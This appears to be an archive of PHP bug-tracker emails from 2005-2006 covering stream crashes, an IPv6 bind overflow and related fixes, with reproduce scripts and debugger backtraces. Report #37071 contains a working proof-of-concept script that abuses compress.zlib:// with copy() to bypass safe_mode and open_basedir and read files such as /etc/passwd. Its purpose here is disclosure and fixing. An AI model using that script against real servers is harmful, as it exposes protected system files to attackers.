For the record though, your report and analysis was much better :)


Previous Comments:


[2006-10-11 23:12:01] [EMAIL PROTECTED]

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Fix will appear in 5.2.0RC6



[2006-09-01 12:57:19] [EMAIL PROTECTED]

Assigned to the maintainer.



[2006-08-31 10:07:31] songmaqd at hotmail dot com

Here is the reproduce script:
?php
class strtoupper_filter extends php_user_filter {
  function filter($in, $out, $consumed, $closing)
{
  while ($bucket = stream_bucket_make_writeable($in)) {}
}
}
stream_filter_register(strtoupper, strtoupper_filter);
$fp = fopen(foo-bar.txt, w);
stream_filter_append($fp, strtoupper);
fwrite($fp, Line1\n);

Note:
1. This bug can not be reproduced on Linux platform. My distro is SuSE
10.1. I can reproduce the bug on one certain UNIX platform.

2.The above script is for testing purpose and is deliberated written
like that. It is not following the stream filter coding way.

3. Here is some debugger info. php_stream_bucket_unlink was called
twice I guess the second call is to clean the system resource and
brigade is 0x0 at this moment.
 
[1] stopped in php_stream_bucket_unlink at line 235 in file filter.c 
($t2)
  235   if (bucket-prev) {
(/tmp/dbx) print *bucket
(next = 0x0, prev = 0x0, brigade = 0x220C70E8, buf = Line1., buflen =
6, own_buf = 0, is_persistent = 0, refcount = 1)
(/tmp/dbx) print *bucket-brigade
(head = 0x2223D000, tail = 0x2223D000)
(/tmp/dbx) print *bucket-brigade-head
(next = 0x0, prev = 0x0, brigade = 0x220C70E8, buf = Line1., buflen =
6, own_buf = 0, is_persistent = 0, refcount = 1)
(/tmp/dbx) next
stopped in php_stream_bucket_unlink.$b156 at line 238 in file
filter.c  ($t2)
  238   bucket-brigade-head = bucket-next;
(/tmp/dbx) list
  239   }
  240   if (bucket-next) {
  241   bucket-next-prev = bucket-prev;
  242   } else if (bucket-brigade) {
  243   bucket-brigade-tail = bucket-prev;
  244   }
  245   bucket-brigade = NULL;
  246   bucket-next = bucket-prev = NULL;
  247   }
(/tmp/dbx) cont
[1] stopped in php_stream_bucket_unlink at line 235 in file filter.c 
($t2)
  235   if (bucket-prev) {
(/tmp/dbx) print *bucket
(next = 0x0, prev = 0x0, brigade = 0x0, buf = , buflen = 0, own_buf =
0, is_persistent = 0, refcount = 0)
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 240 in file filter.c 
($t2)
  240   if (bucket-next) {
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 245 in file filter.c 
($t2)
  245   bucket-brigade = NULL;
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 246 in file filter.c 
($t2)
  246   bucket-next = bucket-prev = NULL;
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 247 in file filter.c 
($t2)
  247   }
(/tmp/dbx) cont
program exited
 



[2006-08-30 08:48:23] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a short but complete example script to be able to reproduce
this bug ourselves. 

A proper reproducing script starts with ?php and ends with ?,
is max. 10-20 lines long and does not require any external 
resources such as databases, etc. If the script requires a 
database to demonstrate the issue, please make sure it creates 
all necessary tables, stored procedures etc.

Please avoid embedding huge scripts into the report.





[2006-08-30 05:49:47] songmaqd at hotmail dot com

Description:

In source file main/streams/filter.c, function PHPAPI void
php_stream_bucket_unlink(php_stream_bucket *bucket TSRMLS_DC)
 needs some additional sanity check for NULL pointer of brigade.
Otherwise it leads to core dump if brigade is NULL.

A possible example for this fix is:
PHPAPI void php_stream_bucket_unlink(php_stream_bucket *bucket
TSRMLS_DC)
{
if (bucket-prev) {
bucket-prev-next = bucket-next;
} else if (bucket-brigade

#38687 [Asn-Csd]: Possible buffer overflow in stream_socket_client() when using bindto + IPv6

2006-09-11 Thread pollita
 ID:   38687
 Updated by:   [EMAIL PROTECTED]
 Reported By:  christian dot schuster at s2000 dot tu-chemnitz dot de
-Status:   Assigned
+Status:   Closed
 Bug Type: Streams related
 Operating System: Linux
 PHP Version:  5CVS-2006-09-01 (CVS)
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2006-09-05 15:37:20] [EMAIL PROTECTED]

Looks like you've got it pegged, though the patch needs a little work
(some systems will blow out your stack'd in4/in6 structs before they
reach the bind() call).  I'll apply a patch very similar to this later
today when I'm somewhere that I can reasonably test that everything
behaves.



[2006-09-04 22:11:17] christian dot schuster at s2000 dot tu-chemnitz
dot de

The output of the above script does not depend on whatever
your:local:ipv6:address::here is replaced with. It should be
something like your:local:ipv6:address::here:port - though I'd prefer
[your:local:ipv6:address::here]:port, but that's another point.

Another thing I noticed: Appending a port number to the binding address
([your:local:ipv6:address::here]:port) triggers a warning:

Warning: stream_socket_client(): failed to bind to
'your:local:ipv6:address::here:port', system said: Invalid argument in
test.php on line 11



[2006-09-04 21:55:09] christian dot schuster at s2000 dot tu-chemnitz
dot de

?php

# create context containing binding address
$context = stream_context_create();
stream_context_set_option($context, socket, bindto,
[your:local:ipv6:address::here]);

# connect to some server
$handle = stream_socket_client(tcp://www.kame.net:80,
$errno, $errstr, 5, STREAM_CLIENT_CONNECT,
$context);

# print local name
echo stream_socket_get_name($handle, false);

# close connection
fclose($handle);

?



[2006-09-04 08:38:42] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a short but complete example script to be able to reproduce
this bug ourselves. 

A proper reproducing script starts with ?php and ends with ?,
is max. 10-20 lines long and does not require any external 
resources such as databases, etc. If the script requires a 
database to demonstrate the issue, please make sure it creates 
all necessary tables, stored procedures etc.

Please avoid embedding huge scripts into the report.





[2006-09-02 00:01:24] christian dot schuster at s2000 dot tu-chemnitz
dot de

Description:

Using stream_socket_client() with a context containing a valid local
IPv6 binding address does not actually bind the socket to that address,
but fails silently. This is a side effect of a possible buffer
overflow:

In main/network.c, php_network_connect_socket_to_host() uses a struct
sockaddr, and references it via a pointer to struct sockaddr_in or
struct sockaddr_in6. For IPv4, this is usually sufficient - for IPv6
it is not. Upon the subsequent call to inet_pton(), some memory beyond
the struct sockaddr is accessed.

A struct sockaddr_in or struct sockaddr_in6 should be used instead,
depending on the protocol.

PHP6 is affected by this bug, too.

Proposed patch:
http://www-user.tu-chemnitz.de/~chschu/patches/php-stream_socket_client-bind.patch


Reproduce code:
---
/* sample code for illegal use of struct sockaddr */

#include sys/types.h
#include sys/socket.h
#include arpa/inet.h

int main(int, char**) {
struct sockaddr local_address;
struct sockaddr_in6 *in6 = (struct sockaddr_in6*)local_address;
inet_pton(AF_INET6, ::1, in6-sin6_addr);
}


Expected result:

Normal program termination.

Actual result:
--
Segmentation fault on inet_pton().





-- 
Edit this bug report at http://bugs.php.net/?id=38687edit=1


#38687 [Opn]: Possible buffer overflow in stream_socket_client() when using bindto + IPv6

2006-09-05 Thread pollita
 ID:   38687
 Updated by:   [EMAIL PROTECTED]
 Reported By:  christian dot schuster at s2000 dot tu-chemnitz dot de
 Status:   Open
 Bug Type: Streams related
 Operating System: Linux
 PHP Version:  5CVS-2006-09-01 (CVS)
-Assigned To:  
+Assigned To:  pollita
 New Comment:

Looks like you've got it pegged, though the patch needs a little work
(some systems will blow out your stack'd in4/in6 structs before they
reach the bind() call).  I'll apply a patch very similar to this later
today when I'm somewhere that I can reasonably test that everything
behaves.


Previous Comments:


[2006-09-04 22:11:17] christian dot schuster at s2000 dot tu-chemnitz
dot de

The output of the above script does not depend on whatever
your:local:ipv6:address::here is replaced with. It should be
something like your:local:ipv6:address::here:port - though I'd prefer
[your:local:ipv6:address::here]:port, but that's another point.

Another thing I noticed: Appending a port number to the binding address
([your:local:ipv6:address::here]:port) triggers a warning:

Warning: stream_socket_client(): failed to bind to
'your:local:ipv6:address::here:port', system said: Invalid argument in
test.php on line 11



[2006-09-04 21:55:09] christian dot schuster at s2000 dot tu-chemnitz
dot de

?php

# create context containing binding address
$context = stream_context_create();
stream_context_set_option($context, socket, bindto,
[your:local:ipv6:address::here]);

# connect to some server
$handle = stream_socket_client(tcp://www.kame.net:80,
$errno, $errstr, 5, STREAM_CLIENT_CONNECT,
$context);

# print local name
echo stream_socket_get_name($handle, false);

# close connection
fclose($handle);

?



[2006-09-04 08:38:42] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a short but complete example script to be able to reproduce
this bug ourselves. 

A proper reproducing script starts with ?php and ends with ?,
is max. 10-20 lines long and does not require any external 
resources such as databases, etc. If the script requires a 
database to demonstrate the issue, please make sure it creates 
all necessary tables, stored procedures etc.

Please avoid embedding huge scripts into the report.





[2006-09-02 00:01:24] christian dot schuster at s2000 dot tu-chemnitz
dot de

Description:

Using stream_socket_client() with a context containing a valid local
IPv6 binding address does not actually bind the socket to that address,
but fails silently. This is a side effect of a possible buffer
overflow:

In main/network.c, php_network_connect_socket_to_host() uses a struct
sockaddr, and references it via a pointer to struct sockaddr_in or
struct sockaddr_in6. For IPv4, this is usually sufficient - for IPv6
it is not. Upon the subsequent call to inet_pton(), some memory beyond
the struct sockaddr is accessed.

A struct sockaddr_in or struct sockaddr_in6 should be used instead,
depending on the protocol.

PHP6 is affected by this bug, too.

Proposed patch:
http://www-user.tu-chemnitz.de/~chschu/patches/php-stream_socket_client-bind.patch


Reproduce code:
---
/* sample code for illegal use of struct sockaddr */

#include sys/types.h
#include sys/socket.h
#include arpa/inet.h

int main(int, char**) {
struct sockaddr local_address;
struct sockaddr_in6 *in6 = (struct sockaddr_in6*)local_address;
inet_pton(AF_INET6, ::1, in6-sin6_addr);
}


Expected result:

Normal program termination.

Actual result:
--
Segmentation fault on inet_pton().





-- 
Edit this bug report at http://bugs.php.net/?id=38687edit=1


#38244 [Opn-Asn]: Calling opendir() causes a SEGV

2006-07-28 Thread pollita
 ID:   38244
 Updated by:   [EMAIL PROTECTED]
 Reported By:  agiorgio at optonline dot net
-Status:   Open
+Status:   Assigned
 Bug Type: Reproducible crash
 Operating System: Linux
 PHP Version:  5.1.4
-Assigned To:  
+Assigned To:  pollita


Previous Comments:


[2006-07-28 19:38:32] agiorgio at optonline dot net

Description:

When calling opendir, PHP segfaults.

Reproduce code:
---
?
class mystream {
function stream_open($path, $mode, $options, $opened_path) {
return true;
}

function dir_opendir($url, $options) {
return true;
}
}

if(!stream_wrapper_register(test, mystream))
{
die(test wrapper registration failed);
}

mkdir(test://a);
$dir = opendir(test://a); // The SEGV happens here

?


Expected result:

PHP should not crash.

Actual result:
--
(gdb) run
Starting program: /home/angio/php-5.1.4/sapi/cli/php ~/test.php

Warning: mkdir(): mystream::mkdir is not implemented! in
/home/angio/test.php on line 19

Program received signal SIGSEGV, Segmentation fault.
0x0824e632 in zend_object_store_get_object (zobject=0x3)
at /home/angio/php-5.1.4/Zend/zend_objects_API.c:215
215 return
EG(objects_store).object_buckets[handle].bucket.obj.object;
(gdb) t
[Current thread is 0 (process 28095)]
(gdb) where
#0  0x0824e632 in zend_object_store_get_object (zobject=0x3)
at /home/angio/php-5.1.4/Zend/zend_objects_API.c:215
#1  0x08225030 in zend_call_function (fci=0xbfb6c270, fci_cache=0x0)
at /home/angio/php-5.1.4/Zend/zend_execute_API.c:661
#2  0x0822524e in call_user_function_ex (function_table=0x3,
object_pp=0x3,
function_name=0x3, retval_ptr_ptr=0x3, param_count=3, params=0x3,
no_separation=3, symbol_table=0x3)
at /home/angio/php-5.1.4/Zend/zend_execute_API.c:579
#3  0x082095bf in php_userstreamop_closedir (stream=0x3,
close_handle=1)
at /home/angio/php-5.1.4/main/streams/userspace.c:1266
#4  0x082009d4 in _php_stream_free (stream=0x842a43c,
close_options=11)
at /home/angio/php-5.1.4/main/streams/streams.c:342
#5  0x0820129c in stream_resource_regular_dtor (rsrc=0x3)
at /home/angio/php-5.1.4/main/streams/streams.c:1373
#6  0x0823e8bf in list_entry_destructor (ptr=0x842c634)
at /home/angio/php-5.1.4/Zend/zend_list.c:184
#7  0x0823d2ba in zend_hash_apply_deleter (ht=0x8374bc0, p=0x842c954)
at /home/angio/php-5.1.4/Zend/zend_hash.c:576
#8  0x0823d387 in zend_hash_graceful_reverse_destroy (ht=0x8374bc0)
at /home/angio/php-5.1.4/Zend/zend_hash.c:642
#9  0x0823165e in zend_deactivate () at
/home/angio/php-5.1.4/Zend/zend.c:860
#10 0x081ec005 in php_request_shutdown (dummy=0x0)
at /home/angio/php-5.1.4/main/main.c:1287
---Type return to continue, or q return to quit---
#11 0x082b34db in main (argc=2, argv=0xbfb6cfb4)
at /home/angio/php-5.1.4/sapi/cli/php_cli.c:1245
(gdb)






-- 
Edit this bug report at http://bugs.php.net/?id=38244edit=1


#38105 [Opn-Csd]: Streams encoding doesn't seem to work

2006-07-14 Thread pollita
 ID:  38105
 Updated by:  [EMAIL PROTECTED]
 Reported By: [EMAIL PROTECTED]
-Status:  Open
+Status:  Closed
 Bug Type:Unicode Engine related
 PHP Version: 6CVS-2006-07-14 (CVS)
 Assigned To: pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2006-07-14 17:05:05] [EMAIL PROTECTED]

Description:

Streams encodings don't seem to work as advertised.

Reproduce code:
---
code

file_put_contents('abcdef', 'str.txt', FILE_TEXT);

php.ini
---
unicode.semantics = on
unicode.output_encoding = utf-8
unicode.runtime_encoding = iso-8859-1
unicode.script_encoding = utf-8
unicode.filesystem_encoding = utf-8


Expected result:

No stdout output and 6 chars in UTF-8 in str.txt.


Actual result:
--
Notice: file_put_contents(): 7 character unicode buffer downcoded for
binary stream runtime_encoding in /home/andrei/dev/php-src/q.php on
line 3






-- 
Edit this bug report at http://bugs.php.net/?id=38105edit=1


#35980 [Asn]: touch() works on files but not on directories (on Linux this works perfectly)

2006-04-15 Thread pollita
 ID:   35980
 Updated by:   [EMAIL PROTECTED]
 Reported By:  pavel dot hlousek at gmail dot com
 Status:   Assigned
 Bug Type: *Directory/Filesystem functions
 Operating System: windows only
 PHP Version:  *
 Assigned To:  pollita
 New Comment:

I'll try looking for unencumbered information to develop a fix that
avoids GPL licensing complications first.

If it's indeed the result of a bug in the microsoft OS implementation
there should be sufficient information out there to develop a fix that
doesn't involve reusing restrictively licensed code.


Previous Comments:


[2006-04-15 21:16:05] [EMAIL PROTECTED]

Sara, could you plz check the patch out? Thanks.



[2006-01-15 18:30:26] [EMAIL PROTECTED]

Patch: http://mega.ist.utl.pt/~ncpl/php_win_touch_dirs.txt

Note: it includes a function that was adapted from Perl 5
(win_filetime_from_time). The Perl code is distributed under GPL (and
that file is (c) 1995 Microsoft Corporation), so I'm not sure if the
code can go in. That function just converts a time_t into microsoft's
format.



[2006-01-15 00:15:30] [EMAIL PROTECTED]

This is a bug in microsoft's utime implementation.
However, Perl is able to workaround this bug with SetFileTime(). I'll
see if I can cook a nice patch.



[2006-01-14 10:58:44] [EMAIL PROTECTED]

Permission denied means that the user which the script was run as
does not have permissions to do it. It's not a PHP bug.



[2006-01-12 16:17:05] pavel dot hlousek at gmail dot com

Description:

?php touch('non-existing-file'); ? - Correct. Creates a new file.

?php touch('existing-file'); ? - Correct. Changes file's mtime.

?php touch('existing-directory'); ? - Wrong on Win2K. Does not change
directory's mtime. Correct on Linux. I did not test any other Win32
platforms. Filesystem: NTFS. The user running the script owns
'existing-directory'. safe_mode=Off.

Reproduce code:
---
?php touch('existing-directory'); ?

Expected result:

Change mtime of an existing directory.

Actual result:
--
Utime failed: Permission denied in fullpath/to/existing-directory on
line 1





-- 
Edit this bug report at http://bugs.php.net/?id=35980edit=1


#37071 [Opn-Csd]: zlib exploit

2006-04-14 Thread pollita
 ID:   37071
 Updated by:   [EMAIL PROTECTED]
 Reported By:  unsecretarygeneral at gmail dot com
-Status:   Open
+Status:   Closed
 Bug Type: Safe Mode/open_basedir
 Operating System: all
 PHP Version:  4.4.2
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

The bug isn't in zlib (the inner fopen_wrapper simply passes on the
options its given).  The problem is in copy() (which passes the wrong
options).

5.1 already had the correct flags, but not other branches, I've applied
a fix to everywhere else.


Previous Comments:


[2006-04-14 17:08:50] unsecretarygeneral at gmail dot com

Now the man Mr Millar has poatched this , please evaluate and
incorprate the fix ! 

http://www.sir-millar.com/blog/?p=5



[2006-04-13 13:28:11] unsecretarygeneral at gmail dot com

Description:

The zlib fopen function boes not adhere to safe_mode , or open_base
directory , hence an attacker can use zlib to compress 'any' file to a
temp folder / world writable folder .. 

This should be critical , and is NOT fixed in the current CVS . 

Reproduce code:
---
Example code . : called like http://hostname/?file=/etc/passwd

?php


$file=; // File to Include... or use _GET _POST
$tymczas=; // Set $tymczas to dir where you have 777 like /var/tmp



echo PRE\n;
if(empty($file))
{
if(empty($_GET['file']))
{
if(empty($_POST['file']))
{
die(\nSet varibles \$tymczas, \$file or use
for varible file POST, GET like ?file=/etc/passwd\n
BCENTERFONTCOLOR=\RED\SecurityReason.Com
Exploit/FONT/CENTER/B
);
}
else
{
$file=$_POST['file'];
}
}
else
{
$file=$_GET['file'];
}
}

$temp=tempnam($tymczas, cx);

if(copy(compress.zlib://.$file, $temp))
{
$zrodlo = fopen($temp, r);
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo B--- Start File
.htmlspecialchars($file).-/B\n.htmlspecialchars($tekst).\nB---
End File.htmlspecialchars($file). ---\n;
unlink($temp);

die(\nFONT COLOR=\RED\BFile.htmlspecialchars($file).
has been already loaded. SecurityReason Team;]/B/FONT);
}
else
{
die(FONT COLOR=\RED\CENTERSorry...
FileB.htmlspecialchars($file)./B dosen't exists or you don't have
access./CENTER/FONT);
}
?


Expected result:

list of /etc/passwd

Actual result:
--
list of /etc/passwd





-- 
Edit this bug report at http://bugs.php.net/?id=37071edit=1


#36288 [Opn-Csd]: fastcgi crashes on ternary operator and $foo{x}

2006-02-04 Thread pollita
 ID:   36288
 Updated by:   [EMAIL PROTECTED]
 Reported By:  scripts at freq9 dot de
-Status:   Open
+Status:   Closed
 Bug Type: Variables related
 Operating System: Windows XP Prof.
 PHP Version:  6CVS-2006-02-04 (snap)
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Bug was in PECL/operator extension.  Forgot to take into account string
offsets.


Previous Comments:


[2006-02-05 00:05:28] scripts at freq9 dot de

if php_operator is loaded fastcgi/cli crashes!

-
cli# php -f test.php
 CLI hat ein Problem festgestellt und muss beendet werden.
-

-
browser# http://localhost/test.php
 CGI / FastCGI hat ein Problem festgestellt und muss beendet werden.
-

(german)



[2006-02-04 23:35:14] [EMAIL PROTECTED]

Does CLI work in the same time? 
Please explain what does it mean crashes and provide more info.
Also, I can't reproduce it on Linux. 



[2006-02-04 23:17:14] scripts at freq9 dot de

Description:

When I execute this code, fastcgi crashes and i´ll get an Error 500.

Reproduce code:
---
?php

$foo   = 'hello';
$bar   = 'world';
$fname = ($foo{4} != 'x') ?  /* condition */
   $foo.' '.$bar :   /* is true */
   $foo.$bar;/* is false */
echo $fname;

?

Expected result:

hello world

Actual result:
--
FastCGI crashes  Error 500 (Premature end of script headers)





-- 
Edit this bug report at http://bugs.php.net/?id=36288edit=1


#35315 [Asn-Csd]: Apache2 childs segfaulting

2005-11-22 Thread pollita
 ID:   35315
 Updated by:   [EMAIL PROTECTED]
 Reported By:  maddog2k at maddog2k dot net
-Status:   Assigned
+Status:   Closed
 Bug Type: Apache2 related
 Operating System: Linux
 PHP Version:  5CVS, 4CVS (2005-11-21) (snap)
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

The backtrace *was* helpful.  And yes, I introduced this bug.  Silly
thinko really stream-abstract is not the same thing as
stream-position... :)



Previous Comments:


[2005-11-22 12:46:39] [EMAIL PROTECTED]

Sara, you changed php_fopen_wrapper.c last time.



[2005-11-22 11:01:39] maddog2k at maddog2k dot net

W00ps, sorry 'bout the backtraces, thought it might help.

The configure line is pretty big, and I doubt it's of help since I
found that the change in php_fopen_wrapper.c is causing all the
trouble... (with PHP4CVS for sure).
In every bt I've seen, php_fopen_wrapper.c failed on line 81, combined
with MySQL. Often I also see a 'No such file or directory' message:

at
/opt/install/apache-2.0.54_apache-1.3.34_php-4.4.2-RC2-dev-WideXS-02_php-5.0.5/php-4.4.2/ext/standard/php_fopen_wrapper.c:81
81 
/opt/install/apache-2.0.54_apache-1.3.34_php-4.4.2-RC2-dev-WideXS-02_php-5.0.5/php-4.4.2/ext/standard/php_fopen_wrapper.c:
No such file or directory.
in
/opt/install/apache-2.0.54_apache-1.3.34_php-4.4.2-RC2-dev-WideXS-02_php-5.0.5/php-4.4.2/ext/standard/php_fopen_wrapper.c

I downloaded revision 1.29.2.4 of this file, and the segmentation
faults are now gone with PHP4CVS and Apache 2.0.54

Hopefully this is enough info for you :)



[2005-11-21 18:25:13] [EMAIL PROTECTED]

Do NOT add such long backtraces here before asked to!!
Another thing: you didn't tell what your configure line was.
Are you sure you don't have PHP 4 and 5 loaded the same time in your
httpd.conf? (assuming you're compiling them as DSOs)




[2005-11-21 17:38:38] maddog2k at maddog2k dot net

Correction, PHP 5.1.0 latest (PHP 5.1.0RC7-dev) also suffers from
segfaulting...

:/usr/local/gdb/bin/gdb /usr/local/apache2/bin/httpd /tmp/core
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB.  Type show warranty for
details.
This GDB was configured as i686-pc-linux-gnu...Using host
libthread_db library /lib/libthread_db.so.1.

Core was generated by `/usr/local/apache2/bin/httpd -DSSL'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/local/ssl/lib/libssl.so.0.9.7...done.
Loaded symbols for /usr/local/ssl/lib/libssl.so.0.9.7
Reading symbols from /usr/local/ssl/lib/libcrypto.so.0.9.7...done.
Loaded symbols for /usr/local/ssl/lib/libcrypto.so.0.9.7
Reading symbols from /usr/local/apache2/lib/libaprutil-0.so.0...done.
Loaded symbols for /usr/local/apache2/lib/libaprutil-0.so.0
Reading symbols from /usr/lib/libgdbm.so.2...done.
Loaded symbols for
/usr/lib/gcc-lib/i386-redhat-linux/3.3.2/../../../libgdbm.so.2
Reading symbols from /usr/lib/libdb-4.1.so...done.
Loaded symbols for
/usr/lib/gcc-lib/i386-redhat-linux/3.3.2/../../../libdb-4.1.so
Reading symbols from /usr/local/lib/libexpat.so.0...done.
Loaded symbols for /usr/local/lib/libexpat.so.0
Reading symbols from /usr/lib/libiconv.so.2...done.
Loaded symbols for
/usr/lib/gcc-lib/i386-redhat-linux/3.3.2/../../../libiconv.so.2
Reading symbols from /usr/local/apache2/lib/libapr-0.so.0...done.
Loaded symbols for /usr/local/apache2/lib/libapr-0.so.0
Reading symbols from /usr/lib/libstdc++.so.5...done.
Loaded symbols for
/usr/lib/gcc-lib/i386-redhat-linux/3.3.2/../../../libstdc++.so.5
Reading symbols from /lib/librt.so.1...done.
Loaded symbols for /lib/librt.so.1
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/libpthread.so.0...done.
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libgcc_s.so.1...done.
Loaded symbols for /lib/libgcc_s.so.1
Reading symbols from /lib/ld-linux.so.2...done

#32371 [Asn-Csd]: [PATCH] php://input sometimes returns dupl data

2005-11-17 Thread pollita
 ID:   32371
 Updated by:   [EMAIL PROTECTED]
 Reported By:  phpint-bkrrym at skrt dot org
-Status:   Assigned
+Status:   Closed
 Bug Type: Filesystem function related
 Operating System: *
 PHP Version:  5CVS, 4CVS (2005-03-19)
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

While that fixes the observed problem, it actually still leaves a bug
when filters are applied.  The root of the issue is how php://input
treats stream-position.

I've applied a fix to branches 4.4, 5.0, 5.1, and HEAD.

If you'd like to try applying just this patch to test it out on your
own system, it can be found at:

http://cvs.php.net/php-src/ext/standard/php_fopen_wrapper.c

HEAD: r-1.51
5.1: r-1.45.2.2
5.0: r-1.44.2.1
4.4: r-1.29.2.4.8.1


Previous Comments:


[2005-08-11 16:15:29] [EMAIL PROTECTED]

Sara, could you take a look at this?
It seems ok, but I don't have time to verify it.



[2005-03-19 02:25:49] phpint-bkrrym at skrt dot org

Description:

Full description and PATCH for 5-CVS and 4.3.10 are here:

http://thepathetic.com/jozef/php_input_stream_patch.html
http://thepathetic.com/jozef/php-5.0.3-input_stream.patch
http://thepathetic.com/jozef/php-4.3.10-input_stream.patch

Both 5 and 4.3.10 have the problem (same code).

Because of a subtle buffer index bug, in some cases, the php://input
stream returns incorrect data. 

Symptoms:

If the php://input is parsed in 4000-byte chunks, the first corruption
occurs at byte number 8193 (1-based). A chunk of the previous 192 bytes
repeats there.  The same corruption happens periodically in the data if
it is long enough.

The problem was discovered when directly parsing a POSTed XML with a
long text-node.

Interestingly enough, reading the contents of php://input with
file_get_contents and parsing the string works around the symptoms.

Reproduce code:
---
$s = simplexml_load_file('php://input');

sees the text node corrupted, whereas

$d = file_get_contents('php://input');
$s = simplexml_load_string($d);

does not.

Expected result:

should be the same in both cases

Actual result:
--
difference at byte number 8193 (1-based) from the begining of the xml.





-- 
Edit this bug report at http://bugs.php.net/?id=32371edit=1


#34009 [Asn-Bgs]: PHP 4.4.0 shows on some platforms a return by reference Notice,but it shouldn't

2005-09-16 Thread pollita
 ID:   34009
 Updated by:   [EMAIL PROTECTED]
 Reported By:  ast at gmx dot ch
-Status:   Assigned
+Status:   Bogus
 Bug Type: Scripting Engine problem
 Operating System: Gentoo Linux
 PHP Version:  4.4.0
 Assigned To:  Derick
 New Comment:

The bug here is in Zend Optimizer.  It sees your variable assigned
immediately before the return and substitutes the intermediate TMP_VAR
for the real variable.

Please report this bug to Zend at http://www.zend.com


Previous Comments:


[2005-09-16 21:11:51] [EMAIL PROTECTED]

I will not reply since I don't use PHP 4 anymore.
Assigned to Derick who likes it so much and loves to fix reference
bugs! :)



[2005-09-16 19:04:54] ast at gmx dot ch

[EMAIL PROTECTED]:

I have yet another ISP claiming that their PHP 4.4.0 is ok, but the
code is wrong (Notices showing up when they shouldn't).

Could you please reply to my point 1. from message [7 Aug 2:32pm
CEST] ast at gmx dot ch? I'd like to make sure that we agree that the
code is correct. A lot of servers running PHP 4.4.0 don't show notices
which indicates it's correct code and my mind tells me it's correct.

Also, do you think John Lim from the adodb project is right with his
theory that 3rd party PHP extensions could be the issue. Or maybe some
C libraries?
See the message from [8 Aug 10:48am CEST] ast at gmx dot ch.

Thank you very much. 
 - Andy



[2005-08-08 13:51:22] ast at gmx dot ch

The reproduce script starts with:
error_reporting(E_ALL);
And even if not all of the tested systems have a default
error_reporting level of E_ALL, some of them have and don't show / show
the Notice.

I'd disagree, it should not be return $false; That would even give a
parse error. 
But that's offtopic.

If you think it should give a Notice with error_reporting = E_ALL for
the reproduce script, please try it. On most systems, it doesn't return
a Notice.

Bottom line:
I hope after reading the report carefully you'll understand the issue
and agree with [EMAIL PROTECTED] and me that it shouldn't show a Notice in
either of the cases.
One of the ISPs is still trying to figure out why it gives the Notice,
I guess the next step will be to disable all extensions etc.



[2005-08-08 13:25:57] [EMAIL PROTECTED]

No, whatever you may think all test cases do NOT have E_ALL set.

The two phpinfo URLs listed under your Unexpected result observed on
have error_reporting = E_ALL (2047).

The URL listed under Correct behaviour observed on has
error_reporting set to 2039 (E_ALL ^ E_NOTICE).

It's a Notice.  You get it when E_NOTICE is enabled and not when it
isn't.  QED

(And yes, I personally think it's a correct Notice; the return line
should be return $false to not get a Notice, surely?  But maybe I'm
wrong about that)



[2005-08-08 12:58:48] ast at gmx dot ch

[EMAIL PROTECTED]:

So you say with error_reporting = E_ALL it *should* give a Notice in
this case?
If so, no offence, but I think you haven't read the bug report
carefully. All tested systems have error_reporting E_ALL. The point is
that even with E_ALL, it doesn't give a Notice on most systems (and I
think that's correct), but others do.
But we're now at a point where we think that 3rd party extensions 
could be responsible for the incorrect behavior.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/34009

-- 
Edit this bug report at http://bugs.php.net/?id=34009edit=1


#32088 [Opn]: Reference fails after use of unset() on array

2005-05-19 Thread pollita
 ID:   32088
 Updated by:   [EMAIL PROTECTED]
 Reported By:  karl at posmaster dot com dot au
 Status:   Open
 Bug Type: Zend Engine 2 problem
 Operating System: *
 PHP Version:  5CVS-2005-02-28
 New Comment:

Even more fun:  Try this variant and you'll see that $fluff not only
gets reset to NULL, it gets completely unset.

?php
$stuff = array('one','two');
$fluff = $stff;
var_dump($stuff);
var_dump($fluff);
foreach ($stuff as $key = $value) {
